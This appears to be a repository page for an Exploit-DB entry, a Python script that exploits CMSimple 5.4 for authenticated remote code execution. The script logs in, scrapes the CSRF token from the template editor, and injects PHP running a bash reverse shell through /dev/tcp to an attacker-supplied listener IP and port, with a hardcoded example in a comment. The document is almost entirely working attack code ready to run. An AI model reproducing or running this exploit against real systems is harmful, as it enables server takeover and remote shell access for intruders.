f32872547a
5 changes to exploits/shellcodes Wordpress Plugin JS Jobs Manager 1.1.7 - Unauthenticated Plugin Install/Activation Cyber Cafe Management System Project (CCMS) 1.0 - SQL Injection Authentication Bypass Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated) Pharmacy Point of Sale System 1.0 - 'Multiple' SQL Injection (SQLi) PlaceOS 1.2109.1 - Open Redirection
60 lines
No EOL
1.9 KiB
Python
Executable file
60 lines
No EOL
1.9 KiB
Python
Executable file
# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)
|
|
# Date: 29.09.2021
|
|
# Exploit Author: pussycat0x
|
|
# Vendor Homepage: https://www.cmsimple.org/
|
|
# Version: 5.4
|
|
# Tested on: ubuntu-20.04.1
|
|
|
|
import argparse
|
|
from bs4 import BeautifulSoup
|
|
from argparse import ArgumentParser
|
|
import requests
|
|
parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport')
|
|
rparser = parser.add_argument_group('required argument')
|
|
rparser.add_argument('-url','--host', type=str, help='target domain',required=True)
|
|
rparser.add_argument('-u' ,'--username', type=str, help='', required=True)
|
|
rparser.add_argument('-p','--password',type=str,help='', required=True)
|
|
rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True)
|
|
rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True)
|
|
args= parser.parse_args()
|
|
#url ='192.168.1.106'
|
|
s = requests.Session()
|
|
|
|
def main():
|
|
try:
|
|
|
|
url =(args.host)
|
|
payload = {
|
|
'user':args.username,
|
|
'passwd':args.password,
|
|
'submit': 'Login',
|
|
'login':'true',
|
|
}
|
|
login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload)
|
|
if login.status_code == 200:
|
|
print('Exploit Completed')
|
|
else:
|
|
print("Invalid Credential")
|
|
cook =(login.cookies.get_dict())
|
|
temp = s.get(url +'/?file=template&action=edit', cookies=cook)
|
|
soup = BeautifulSoup(temp.text, 'lxml')
|
|
csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value']
|
|
#<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
|
|
rev = """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"""
|
|
rev2=(args.lhost)
|
|
rev3=(args.lport)
|
|
rev4=""" 0>&1'");"""
|
|
php =(rev+rev2+'/'+rev3+rev4)
|
|
revpayload = {
|
|
'cmsimpleDataFileStored':'cmsimpleDataFileStored',
|
|
'csrf_token':csrfToken,
|
|
'text':php,
|
|
'file':'template',
|
|
'action':'save',
|
|
}
|
|
shell = s.post(url +'/',cookies=cook , data=revpayload)
|
|
exec = s.get(url+'/')
|
|
exit()
|
|
except:
|
|
pass
|
|
main() |